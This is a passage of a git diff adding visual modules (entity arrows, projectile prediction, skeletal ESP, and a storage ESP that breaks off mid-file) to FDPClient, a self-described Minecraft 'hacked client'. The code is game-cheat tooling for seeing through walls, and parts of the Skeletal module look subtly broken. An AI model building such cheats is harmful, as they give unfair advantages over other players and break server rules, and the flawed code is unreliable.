greenValue = IntegerValue("Green", 255, 0, 255).displayable { !rainbowValue.get() } + private val blueValue = IntegerValue("Blue", 255, 0, 255).displayable { !rainbowValue.get() } + private val rainbowValue = BoolValue("Rainbow", false) + private val damageColorValue = BoolValue("DamageColor", true) + private val smoothDamageColorValue = BoolValue("SmoothDamageColor", false) + private val dmgRedValue = IntegerValue("DamageRed", 255, 0, 255).displayable { !dmgRainbowValue.get() && damageColorValue.get() } + private val dmgGreenValue = IntegerValue("DamageGreen", 0, 0, 255).displayable { !dmgRainbowValue.get() && damageColorValue.get() } + private val dmgBlueValue = IntegerValue("DamageBlue", 0, 0, 255).displayable { !dmgRainbowValue.get() && damageColorValue.get() } + private val dmgRainbowValue = BoolValue("DamageRainbow", false).displayable { damageColorValue.get() } + private val alphaValue : IntegerValue = object : IntegerValue("Alpha", 255, 0, 255) { + override fun onChanged(oldValue: Int, newValue: Int) { + if (distanceAlphaValue.get() && newValue < distanceValue.get()) { + set(newValue) + } + } + } + private val distanceAlphaValue = BoolValue("DistanceAlpha", true) + private val distanceValue = IntegerValue("Distance", 70, 0, 128).displayable { distanceAlphaValue.get() } + private val alphaMinValue = IntegerValue("AlphaMin", 100, 0, 255).displayable { distanceAlphaValue.get() } + private val sizeValue = IntegerValue("ArrowSize", 10, 1, 30) + private val angleValue = IntegerValue("AngleSize", 50, 10, 90) + private val radiusValue = IntegerValue("Radius", 70, 10, 100) + + @EventTarget + fun onRender2d(event: Render2DEvent) { + if(!dimensionValue.equals("2d")) + return + + GL11.glPushMatrix() + GL11.glTranslatef(event.scaledResolution.scaledWidth / 2f, event.scaledResolution.scaledHeight / 2f, 0.0f) + + draw() + + GL11.glPopMatrix() + } + + @EventTarget + fun onRender3d(event: Render3DEvent) { + if(dimensionValue.equals("2d")) + return + + GL11.glDisable(GL11.GL_CULL_FACE) + GL11.glEnable(GL11.GL_POLYGON_OFFSET_FILL) + GL11.glPolygonOffset(1.0f, -1000000f) + + GL11.glPushMatrix() + GL11.glScaled(0.01, 0.01, 0.01) + GL11.glRotatef(90f, 1f, 0f, 0f) + GL11.glRotatef(180f + mc.thePlayer.rotationYaw, 0f, 0f, 1f) + draw() + GL11.glPopMatrix() + + GL11.glPolygonOffset(1.0f, 1000000f) + GL11.glDisable(GL11.GL_POLYGON_OFFSET_FILL) + GL11.glEnable(GL11.GL_CULL_FACE) + } + + private fun draw() { + val halfAngle = angleValue.get() / 2 + val radius = -radiusValue.get() + val size = sizeValue.get() + val playerPosX = mc.thePlayer.posX + (mc.thePlayer.posX - mc.thePlayer.lastTickPosX) * mc.timer.renderPartialTicks + val playerPosZ = mc.thePlayer.posZ + (mc.thePlayer.posZ - mc.thePlayer.lastTickPosZ) * mc.timer.renderPartialTicks + val color = if(rainbowValue.get()) { ColorUtils.rainbow() } else { Color(redValue.get(), greenValue.get(), blueValue.get()) } + val damageColor = if(damageColorValue.get()) { + if(dmgRainbowValue.get()) { ColorUtils.reverseColor(ColorUtils.rainbow()) } else { Color(dmgRedValue.get(), dmgGreenValue.get(), dmgBlueValue.get()) } + } else { + color + } + + GL11.glEnable(GL11.GL_BLEND) + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA) + GL11.glEnable(GL11.GL_LINE_SMOOTH) + + for (entity in mc.theWorld.loadedEntityList) { + if (EntityUtils.isSelected(entity, true) && entity is EntityLivingBase) { + val entX = entity.posX + (entity.posX - entity.lastTickPosX) * mc.timer.renderPartialTicks + val entZ = entity.posZ + (entity.posZ - entity.lastTickPosZ) * mc.timer.renderPartialTicks + val pos1 = (entX - playerPosX) * 0.2 + val pos2 = (entZ - playerPosZ) * 0.2 + val cos = cos(mc.thePlayer.rotationYaw * (Math.PI / 180)) + val sin = sin(mc.thePlayer.rotationYaw * (Math.PI / 180)) + val rotY = -(pos2 * cos - pos1 * sin) + val rotX = -(pos1 * cos + pos2 * sin) + val angle = (atan2(rotY, rotX) * 180 / Math.PI).toFloat() + 90f + RenderUtils.glColor(if(entity.hurtTime > 0) { if(smoothDamageColorValue.get()) { + val percent = entity.hurtPercent.let { if(it > 0.5) { it - 0.5f } else { 0.5f - it } } * 2 + ColorUtils.mixColors(damageColor, color, percent) + } else { + damageColor + } } else { color }, + if (distanceAlphaValue.get()) { + (alphaValue.get() - (sqrt((playerPosX - entX).pow(2) + (playerPosZ - entZ).pow(2)) / distanceValue.get()).coerceAtMost(1.0) * (alphaValue.get() - alphaMinValue.get())).toInt() + } else { + alphaValue.get() + }) + GL11.glRotatef(angle, 0.0f, 0.0f, 1.0f) + when(modeValue.get().lowercase()) { + "solid" -> { + GL11.glBegin(GL11.GL_TRIANGLES) + GL11.glVertex2f(0f, radius.toFloat()) + GL11.glVertex2d(sin(-halfAngle * Math.PI / 180) * size, radius + cos(-halfAngle * Math.PI / 180) * size) + GL11.glVertex2d(sin(halfAngle * Math.PI / 180) * size, radius + cos(halfAngle * Math.PI / 180) * size) + } + "line","loopline" -> { + GL11.glLineWidth(lineWidthValue.get()) + GL11.glBegin(GL11.GL_LINE_STRIP) + GL11.glVertex2d(sin(-halfAngle * Math.PI / 180) * size, radius + cos(-halfAngle * Math.PI / 180) * size) + GL11.glVertex2f(0f, radius.toFloat()) + GL11.glVertex2d(sin(halfAngle * Math.PI / 180) * size, radius + cos(halfAngle * Math.PI / 180) * size) + if(modeValue.equals("LoopLine")) { + GL11.glVertex2d(sin(-halfAngle * Math.PI / 180) * size, radius + cos(-halfAngle * Math.PI / 180) * size) + } + } + } + GL11.glEnd() + GL11.glRotatef(-angle, 0.0f, 0.0f, 1.0f) + } + } + + GL11.glEnable(GL11.GL_TEXTURE_2D) + GL11.glDisable(GL11.GL_BLEND) + GL11.glDisable(GL11.GL_LINE_SMOOTH) + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/Projectiles.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/Projectiles.kt new file mode 100644 index 0000000..04ec3bd --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/Projectiles.kt @@ -0,0 +1,366 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.visual + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.EntityUtils.rotation +import net.ccbluex.liquidbounce.utils.block.BlockUtils.getState +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils.* +import net.ccbluex.liquidbounce.utils.toRadians +import net.ccbluex.liquidbounce.utils.toRadiansD +import net.minecraft.block.material.Material +import net.minecraft.client.renderer.Tessellator +import net.minecraft.client.renderer.vertex.DefaultVertexFormats +import net.minecraft.entity.Entity +import net.minecraft.entity.EntityLivingBase +import net.minecraft.entity.item.EntityEnderPearl +import net.minecraft.entity.item.EntityExpBottle +import net.minecraft.entity.player.EntityPlayer +import net.minecraft.entity.projectile.* +import net.minecraft.item.* +import net.minecraft.util.* +import org.lwjgl.opengl.GL11.* +import org.lwjgl.util.glu.Cylinder +import org.lwjgl.util.glu.GLU +import java.awt.Color +import kotlin.math.cos +import kotlin.math.sin +import kotlin.math.sqrt + +@ModuleInfo("Projectiles", category = ModuleCategory.VISUAL) +object Projectiles : Module() { + private val maxTrailSize = IntegerValue("MaxTrailSize", 20, 1,100) + + private val colorMode = ListValue("Color", arrayOf("Custom", "BowPower", "Rainbow"), "Custom") + private val colorRed = IntegerValue("R", 0, 0,255).displayable { colorMode.get() == "Custom" } + private val colorGreen = IntegerValue("G", 160, 0,255).displayable { colorMode.get() == "Custom" } + private val colorBlue = IntegerValue("B", 255, 0,255).displayable { colorMode.get() == "Custom" } + + private val trailPositions = mutableMapOf<Entity, MutableList<Triple<Long, Vec3, Float>>>() + + @EventTarget + fun onRender3D(event: Render3DEvent) { + val theWorld = mc.theWorld ?: return + val renderManager = mc.renderManager + + for (entity in theWorld.loadedEntityList) { + val theEntity = entity as? EntityLivingBase ?: continue + val heldStack = theEntity.heldItem ?: continue + + val item = heldStack.item + var isBow = false + var motionFactor = 1.5F + var motionSlowdown = 0.99F + val gravity: Float + val size: Float + + // Check items + when (item) { + is ItemBow -> { + isBow = true + gravity = 0.05F + size = 0.3F + + if (theEntity is EntityPlayer) { + if (!theEntity.isUsingItem) continue + + // Calculate power of bow + var power = theEntity.itemInUseDuration / 20f + power = (power * power + power * 2F) / 3F + if (power < 0.1F) continue + if (power > 1F) power = 1F + motionFactor = power * 3F + } else { + // Approximate bow power for other Entities (ex: Skeletons) + motionFactor = 3F + } + } + is ItemFishingRod -> { + gravity = 0.04F + size = 0.25F + motionSlowdown = 0.92F + } + is ItemPotion -> { + if (!heldStack.isSplashPotion()) continue + gravity = 0.05F + size = 0.25F + motionFactor = 0.5F + } + is ItemSnowball, is ItemEnderPearl, is ItemEgg -> { + gravity = 0.03F + size = 0.25F + } + else -> continue + } + + // Yaw and pitch of player + val (yaw, pitch) = theEntity.rotation + + val yawRadians = yaw.toRadiansD() + val pitchRadians = pitch.toRadiansD() + + // Positions + var posX = theEntity.posX - cos(yawRadians) * 0.16F + var posY = theEntity.posY + theEntity.eyeHeight - 0.10000000149011612 + var posZ = theEntity.posZ - sin(yawRadians) * 0.16F + + // Motions + var motionX = -sin(yawRadians) * cos(pitchRadians) * if (isBow) 1.0 else 0.4 + var motionY = -sin((pitch + if (item is ItemPotion) -20 else 0).toRadians()) * if (isBow) 1.0 else 0.4 + var motionZ = cos(yawRadians) * cos(pitchRadians) * if (isBow) 1.0 else 0.4 + val distance = sqrt(motionX * motionX + motionY * motionY + motionZ * motionZ) + + motionX /= distance + motionY /= distance + motionZ /= distance + motionX *= motionFactor + motionY *= motionFactor + motionZ *= motionFactor + + // Landing + var landingPosition: MovingObjectPosition? = null + var hasLanded = false + var hitEntity = false + + val tessellator = Tessellator.getInstance() + val worldRenderer = tessellator.worldRenderer + + // Start drawing of path + glDepthMask(false) + enableGlCap(GL_BLEND, GL_LINE_SMOOTH) + disableGlCap(GL_DEPTH_TEST, GL_ALPHA_TEST, GL_TEXTURE_2D) + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) + glHint(GL_LINE_SMOOTH_HINT, GL_NICEST) + glColor( + when (colorMode.get().lowercase()) { + "bowpower" -> Color.getHSBColor(255f, 255f, (motionFactor / 30) * 10) + "rainbow" -> ColorUtils.rainbow() + else -> Color(colorRed.get(), colorGreen.get(), colorBlue.get(), 255) + } + ) + glLineWidth(2f) + + worldRenderer.begin(GL_LINE_STRIP, DefaultVertexFormats.POSITION) + + while (!hasLanded && posY > 0.0) { + // Set pos before and after + var posBefore = Vec3(posX, posY, posZ) + var posAfter = Vec3(posX + motionX, posY + motionY, posZ + motionZ) + + // Get landing position + landingPosition = theWorld.rayTraceBlocks( + posBefore, posAfter, false, + true, false + ) + + // Set pos before and after + posBefore = Vec3(posX, posY, posZ) + posAfter = Vec3(posX + motionX, posY + motionY, posZ + motionZ) + + // Check if arrow is landing + if (landingPosition != null) { + hasLanded = true + posAfter = + Vec3(landingPosition.hitVec.xCoord, landingPosition.hitVec.yCoord, landingPosition.hitVec.zCoord) + } + + // Set arrow box + val arrowBox = AxisAlignedBB( + posX - size, posY - size, posZ - size, posX + size, + posY + size, posZ + size + ).addCoord(motionX, motionY, motionZ).expand(1.0, 1.0, 1.0) + + val chunkMinX = ((arrowBox.minX - 2) / 16).toInt() + val chunkMaxX = ((arrowBox.maxX + 2.0) / 16.0).toInt() + val chunkMinZ = ((arrowBox.minZ - 2.0) / 16.0).toInt() + val chunkMaxZ = ((arrowBox.maxZ + 2.0) / 16.0).toInt() + + // Check which entities colliding with the arrow + val collidedEntities = mutableListOf<Entity>() + + for (x in chunkMinX..chunkMaxX) + for (z in chunkMinZ..chunkMaxZ) + theWorld.getChunkFromChunkCoords(x, z) + .getEntitiesWithinAABBForEntity(theEntity, arrowBox, collidedEntities, null) + + // Check all possible entities + for (possibleEntity in collidedEntities) { + if (possibleEntity.canBeCollidedWith() && possibleEntity != theEntity) { + val possibleEntityBoundingBox = possibleEntity.entityBoundingBox + .expand(size.toDouble(), size.toDouble(), size.toDouble()) + + val possibleEntityLanding = possibleEntityBoundingBox + .calculateIntercept(posBefore, posAfter) ?: continue + + hitEntity = true + hasLanded = true + landingPosition = possibleEntityLanding + } + } + + // Affect motions of arrow + posX += motionX + posY += motionY + posZ += motionZ + + // Check is next position water + if (getState(BlockPos(posX, posY, posZ)).block.material === Material.water) { + // Update motion + motionX *= 0.6 + motionY *= 0.6 + motionZ *= 0.6 + } else { // Update motion + motionX *= motionSlowdown.toDouble() + motionY *= motionSlowdown.toDouble() + motionZ *= motionSlowdown.toDouble() + } + + motionY -= gravity.toDouble() + + // Draw path + worldRenderer.pos( + posX - renderManager.renderPosX, posY - renderManager.renderPosY, + posZ - renderManager.renderPosZ + ).endVertex() + } + + // End the rendering of the path + tessellator.draw() + glPushMatrix() + glTranslated( + posX - renderManager.renderPosX, posY - renderManager.renderPosY, + posZ - renderManager.renderPosZ + ) + + if (landingPosition != null) { + // Accurate landing position checking + when (landingPosition.sideHit) { + EnumFacing.DOWN -> glRotatef(90F, 0F, 1F, 0F) + EnumFacing.UP -> glRotatef(-90F, 0F, 1F, 0F) + EnumFacing.NORTH -> glRotatef(-90F, 1F, 0F, 0F) + EnumFacing.SOUTH -> glRotatef(90F, 1F, 0F, 0F) + EnumFacing.WEST -> glRotatef(-90F, 0F, 0F, 1F) + EnumFacing.EAST -> glRotatef(90F, 0F, 0F, 1F) + else -> glRotatef(90F, 0F, 0F, 1F) + } + + // Check if hitting an entity + if (hitEntity) + glColor(Color(255, 0, 0, 150)) + } + + // Rendering hit cylinder + glRotatef(-90F, 1F, 0F, 0F) + + val cylinder = Cylinder() + cylinder.drawStyle = GLU.GLU_LINE + cylinder.draw(0.2F, 0F, 0F, 60, 1) + + glPopMatrix() + glDepthMask(true) + resetCaps() + glColor4f(1F, 1F, 1F, 1F) + } + + for ((entity, positions) in trailPositions) { + if (positions.isEmpty()) continue + + glPushMatrix() + glPushAttrib(GL_ALL_ATTRIB_BITS) + + glDisable(GL_TEXTURE_2D) + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) + glEnable(GL_LINE_SMOOTH) + glEnable(GL_BLEND) + glDisable(GL_DEPTH_TEST) + glDisable(GL_LIGHTING) + glLineWidth(2.0f) + + val tessellator = Tessellator.getInstance() + val worldRenderer = tessellator.worldRenderer + worldRenderer.begin(GL_LINE_STRIP, DefaultVertexFormats.POSITION) + + for ((_, pos, alpha) in positions) { + val interpolatePos = Vec3( + pos.xCoord - renderManager.renderPosX, + pos.yCoord - renderManager.renderPosY, + pos.zCoord - renderManager.renderPosZ + ) + + val color = when (entity) { + is EntityArrow -> Color(255, 0, 0) + is EntityPotion -> Color(200, 150, 0) + is EntityEnderPearl -> Color(200, 0, 200) + is EntityFireball -> Color(255, 255, 0) + is EntityEgg, is EntitySnowball -> Color(200, 255, 200) + else -> Color(255, 255, 255) + } + + glColor4f(color.red / 255f, color.green / 255f, color.blue / 255f, alpha) + + worldRenderer.pos(interpolatePos.xCoord, interpolatePos.yCoord, interpolatePos.zCoord).endVertex() + } + + tessellator.draw() + + glColor4f(1f, 1f, 1f, 1f) + + glPopAttrib() + glPopMatrix() + } + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + val world = mc.theWorld ?: return + + val currentTime = System.currentTimeMillis() + + for (entity in world.loadedEntityList) { + if (entity == null) { + trailPositions.clear() + continue + } + + when (entity) { + is EntitySnowball, is EntityEnderPearl, is EntityEgg, + is EntityArrow, is EntityPotion, is EntityExpBottle, is EntityFireball -> { + val positions = trailPositions.getOrPut(entity) { mutableListOf() } + + positions.removeIf { (timestamp, _, alpha) -> + currentTime - timestamp > 10000 || alpha <= 0 + } + + if (positions.size > maxTrailSize.get()) { + positions.removeAt(0) + } + + positions.add(Triple(currentTime, Vec3(entity.posX, entity.posY, entity.posZ), 1.0f)) + } + } + } + + // Gradually fade out trails of entities no longer in the world + for (positions in trailPositions.values) { + for (i in positions.indices) { + val (timestamp, pos, alpha) = positions[i] + positions[i] = Triple(timestamp, pos, alpha - 0.04f) + } + } + + // Remove entities that are no longer in the world + trailPositions.keys.removeIf { it !in world.loadedEntityList && trailPositions[it]?.all { (_, _, alpha) -> alpha <= 0 } == true } + } + private fun ItemStack.isSplashPotion() = item is ItemPotion && ItemPotion.isSplash(metadata) +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/Skeletal.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/Skeletal.kt new file mode 100644 index 0000000..a5834b8 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/Skeletal.kt @@ -0,0 +1,253 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.visual + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.event.UpdateModelEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.minecraft.entity.player.EntityPlayer +import org.lwjgl.opengl.GL11 +import java.util.* + +@ModuleInfo(name = "Skeletal", category = ModuleCategory.VISUAL) +class Skeletal : Module() { + private val playerRotationMap: MutableMap<*, *> = WeakHashMap<Any?, Any?>() + + private val red = IntegerValue("Red", 255, 0, 255) + private val green = IntegerValue("Green", 255, 0, 255) + private val blue = IntegerValue("Blue", 255, 0, 255) + + private val smoothLines = BoolValue("SmoothLines", false) + + @EventTarget + fun onModelUpdate(event: UpdateModelEvent) { + val model = event.model + this.playerRotationMap[event.player as Nothing] = arrayOf(model.bipedHead.rotateAngleX, model.bipedHead.rotateAngleY, model.bipedHead.rotateAngleZ, model.bipedRightArm.rotateAngleX, model.bipedRightArm.rotateAngleY, model.bipedRightArm.rotateAngleZ, model.bipedLeftArm.rotateAngleX, model.bipedLeftArm.rotateAngleY, model.bipedLeftArm.rotateAngleZ, model.bipedRightLeg.rotateAngleX, model.bipedRightLeg.rotateAngleY, model.bipedRightLeg.rotateAngleZ, model.bipedLeftLeg.rotateAngleX, model.bipedLeftLeg.rotateAngleY, model.bipedLeftLeg.rotateAngleZ) as Nothing + } + + @EventTarget + fun onRender(event: Render3DEvent) { + this.setupRender(true) + GL11.glEnable(2903) + GL11.glDisable(2848) + + playerRotationMap.keys.removeIf { var0: Any? -> contain(var0 as EntityPlayer?) } + + val playerRotationMap: Map<*, *> = this.playerRotationMap + mc.theWorld.playerEntities + + val players: Array<Any?> = playerRotationMap.keys.toTypedArray() + val playersLength = players.size + + for (i in 0 until playersLength) { + val player = players[i] as EntityPlayer + val entPos = playerRotationMap[player] as Array<FloatArray>? + + if (entPos == null || player.entityId == -1488 || !player.isEntityAlive || !RenderUtils.isInViewFrustrum( + player + ) || + player.isDead || player === mc.thePlayer || player.isPlayerSleeping || player.isInvisible + ) continue + + GL11.glPushMatrix() + val modelRotations = playerRotationMap[player] as Array<FloatArray>? + GL11.glLineWidth(1.0f) + GL11.glColor4f(red.get() / 255.0f, green.get() / 255.0f, blue.get() / 255.0f, 1.0f) + + val x = interpolate( + player.posX, + player.lastTickPosX, + event.partialTicks.toDouble() + ) - mc.renderManager.renderPosX + val y = interpolate( + player.posY, + player.lastTickPosY, + event.partialTicks.toDouble() + ) - mc.renderManager.renderPosY + val z = interpolate( + player.posZ, + player.lastTickPosZ, + event.partialTicks.toDouble() + ) - mc.renderManager.renderPosZ + + GL11.glTranslated(x, y, z) + + val bodyYawOffset = + player.prevRenderYawOffset + (player.renderYawOffset - player.prevRenderYawOffset) * mc.timer.renderPartialTicks + + GL11.glRotatef((-bodyYawOffset), 0.0f, 1.0f, 0.0f) + GL11.glTranslated(0.0, 0.0, (if (player.isSneaking) -0.235 else 0.0)) + + val legHeight = if (player.isSneaking) 0.6f else 0.75f + + GL11.glPushMatrix() + GL11.glTranslated(-0.125, legHeight.toDouble(), 0.0) + + if (modelRotations!![3][0] != 0.0f) { + GL11.glRotatef((modelRotations[3][0] * 57.29578f), 1.0f, 0.0f, 0.0f) + } + + if (modelRotations[3][1] != 0.0f) { + GL11.glRotatef((modelRotations[3][1] * 57.29578f), 0.0f, 1.0f, 0.0f) + } + + if (modelRotations[3][2] != 0.0f) { + GL11.glRotatef((modelRotations[3][2] * 57.29578f), 0.0f, 0.0f, 1.0f) + } + + GL11.glBegin(3) + GL11.glVertex3d(0.0, 0.0, 0.0) + GL11.glVertex3d(0.0, (-legHeight).toDouble(), 0.0) + GL11.glEnd() + GL11.glPopMatrix() + GL11.glPushMatrix() + GL11.glTranslated(0.125, legHeight.toDouble(), 0.0) + + if (modelRotations[4][0] != 0.0f) { + GL11.glRotatef((modelRotations[4][0] * 57.29578f), 1.0f, 0.0f, 0.0f) + } + + if (modelRotations[4][1] != 0.0f) { + GL11.glRotatef((modelRotations[4][1] * 57.29578f), 0.0f, 1.0f, 0.0f) + } + + if (modelRotations[4][2] != 0.0f) { + GL11.glRotatef((modelRotations[4][2] * 57.29578f), 0.0f, 0.0f, 1.0f) + } + + GL11.glBegin(3) + GL11.glVertex3d(0.0, 0.0, 0.0) + GL11.glVertex3d(0.0, (-legHeight).toDouble(), 0.0) + GL11.glEnd() + GL11.glPopMatrix() + GL11.glTranslated(0.0, 0.0, (if (player.isSneaking) 0.25 else 0.0)) + GL11.glPushMatrix() + GL11.glTranslated(0.0, (if (player.isSneaking) -0.05 else 0.0), (if (player.isSneaking) -0.01725 else 0.0)) + GL11.glPushMatrix() + GL11.glTranslated(-0.375, (legHeight + 0.55), 0.0) + + if (modelRotations[1][0] != 0.0f) { + GL11.glRotatef((modelRotations[1][0] * 57.29578f), 1.0f, 0.0f, 0.0f) + } + + if (modelRotations[1][1] != 0.0f) { + GL11.glRotatef((modelRotations[1][1] * 57.29578f), 0.0f, 1.0f, 0.0f) + } + + if (modelRotations[1][2] != 0.0f) { + GL11.glRotatef((-modelRotations[1][2] * 57.29578f), 0.0f, 0.0f, 1.0f) + } + + GL11.glBegin(3) + GL11.glVertex3d(0.0, 0.0, 0.0) + GL11.glVertex3d(0.0, -0.5, 0.0) + GL11.glEnd() + GL11.glPopMatrix() + GL11.glPushMatrix() + GL11.glTranslated(0.375, (legHeight + 0.55), 0.0) + + if (modelRotations[2][0] != 0.0f) { + GL11.glRotatef((modelRotations[2][0] * 57.29578f), 1.0f, 0.0f, 0.0f) + } + + if (modelRotations[2][1] != 0.0f) { + GL11.glRotatef((modelRotations[2][1] * 57.29578f), 0.0f, 1.0f, 0.0f) + } + + if (modelRotations[2][2] != 0.0f) { + GL11.glRotatef((-modelRotations[2][2] * 57.29578f), 0.0f, 0.0f, 1.0f) + } + + GL11.glBegin(3) + GL11.glVertex3d(0.0, 0.0, 0.0) + GL11.glVertex3d(0.0, -0.5, 0.0) + GL11.glEnd() + GL11.glPopMatrix() + GL11.glRotatef((bodyYawOffset - player.rotationYawHead), 0.0f, 1.0f, 0.0f) + GL11.glPushMatrix() + GL11.glTranslated(0.0, (legHeight + 0.55), 0.0) + + if (modelRotations[0][0] != 0.0f) { + GL11.glRotatef((modelRotations[0][0] * 57.29578f), 1.0f, 0.0f, 0.0f) + } + + GL11.glBegin(3) + GL11.glVertex3d(0.0, 0.0, 0.0) + GL11.glVertex3d(0.0, 0.3, 0.0) + GL11.glEnd() + GL11.glPopMatrix() + GL11.glPopMatrix() + GL11.glRotatef((if (player.isSneaking) 25.0f else 0.0f), 1.0f, 0.0f, 0.0f) + GL11.glTranslated( + 0.0, + (if (player.isSneaking) -0.16175 else 0.0), + (if (player.isSneaking) -0.48025 else 0.0) + ) + GL11.glPushMatrix() + GL11.glTranslated(0.0, legHeight.toDouble(), 0.0) + GL11.glBegin(3) + GL11.glVertex3d(-0.125, 0.0, 0.0) + GL11.glVertex3d(0.125, 0.0, 0.0) + GL11.glEnd() + GL11.glPopMatrix() + GL11.glPushMatrix() + GL11.glTranslated(0.0, legHeight.toDouble(), 0.0) + GL11.glBegin(3) + GL11.glVertex3d(0.0, 0.0, 0.0) + GL11.glVertex3d(0.0, 0.55, 0.0) + GL11.glEnd() + GL11.glPopMatrix() + GL11.glPushMatrix() + GL11.glTranslated(0.0, (legHeight + 0.55), 0.0) + GL11.glBegin(3) + GL11.glVertex3d(-0.375, 0.0, 0.0) + GL11.glVertex3d(0.375, 0.0, 0.0) + GL11.glEnd() + GL11.glPopMatrix() + GL11.glColor4f(1.0f, 1.0f, 1.0f, 1.0f) + GL11.glPopMatrix() + } + this.setupRender(false) + } + + private fun setupRender(start: Boolean) { + val smooth = smoothLines.get() + + if (start) { + if (smooth) { + RenderUtils.startSmooth() + } else { + GL11.glDisable(2848) + } + GL11.glDisable(2929) + GL11.glDisable(3553) + } else { + GL11.glEnable(3553) + GL11.glEnable(2929) + if (smooth) { + RenderUtils.endSmooth() + } + } + GL11.glDepthMask((if (!start) 1 else 0) != 0) + } + + private fun contain(var0: EntityPlayer?): Boolean { + return !mc.theWorld.playerEntities.contains(var0) + } + + companion object { + fun interpolate(current: Double, old: Double, scale: Double): Double { + return old + (current - old) * scale + } + } +} + diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/StorageESP.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/StorageESP.kt new file mode 100644 index 0000000..5ec0118 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/StorageESP.kt @@ -0,0 +1,121 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.visual + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render2DEvent +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.world.ChestAura.clickedBlocks +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.shader.shaders.GlowShader +import net.ccbluex.liquidbounce.utils.render.shader.shaders.OutlineShader +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.client.renderer.tileentity.TileEntityRendererDispatcher +import net.minecraft.tileentity.* +import org.lwjgl.opengl.GL11 +import java.awt.Color + +@ModuleInfo(name = "StorageESP", category = ModuleCategory.VISUAL) +object StorageESP : Module() { + + private val modeValue = ListValue("Mode", arrayOf("Box", "OtherBox", "Outline", "ShaderOutline", "ShaderGlow", "2D", "WireFrame"), "Outline") + private val outlineWidthValue = FloatValue("Outline-Width", 3f, 0.5f, 5f).displayable { modeValue.equals("Outline") } + private val chestValue = BoolValue("Chest", true) + private val enderChestValue = BoolValue("EnderChest", true) + private val furnaceValue = BoolValue("Furnace", true) + private val dispenserValue = BoolValue("Dispenser", true) + private val hopperValue = BoolValue("Hopper", true) + + private fun getColor(tileEntity: TileEntity): Color? { + if (chestValue.get() && tileEntity is TileEntityChest && !clickedBlocks.contains(tileEntity.getPos())) return Color(0, 0, 255) + if (chestValue.get() && tileEntity is TileEntityChest && clickedBlocks.contains(tileEntity.getPos())) return Color(255, 0, 0) + if (enderChestValue.get() && tileEntity is TileEntityEnderChest && !clickedBlocks.contains(tileEntity.getPos())) return Color.MAGENTA + if (furnaceValue.get() && tileEntity is TileEntityFurnace) return Color.BLACK + if (dispenserValue.get() && tileEntity is TileEntityDispenser) return Color.BLACK + if (hopperValue.get() && tileEntity is TileEntityHopper) return Color.GRAY + + return null + } + + @EventTarget + fun onRender3D(event: Render3DEvent) { + try { + val mode = modeValue.get() + val gamma = mc.gameSettings.gammaSetting + mc.gameSettings.gammaSetting = 100000.0f + + for (tileEntity in mc.theWorld.loadedTileEntityList) { + val color = getColor(tileEntity) ?: continue + when (mode.lowercase()) { + "otherbox", "box" -> RenderUtils.drawBlockBox(tileEntity.pos, color, !mode.equals("otherbox", ignoreCase = true), true, outlineWidthValue.get()) + + "2d" -> RenderUtils.draw2D(tileEntity.pos, color.rgb, Color.BLACK.rgb) + + "outline" -> RenderUtils.drawBlockBox(tileEntity.pos, color, true, false, outlineWidthValue.get()) + + "wireframe" -> { + GL11.glPushMatrix() + GL11.glPushAttrib(GL11.GL_ALL_ATTRIB_BITS) + GL11.glPolygonMode(GL11.GL_FRONT_AND_BACK, GL11.GL_LINE) + GL11.glDisable(GL11.GL_TEXTURE_2D) + 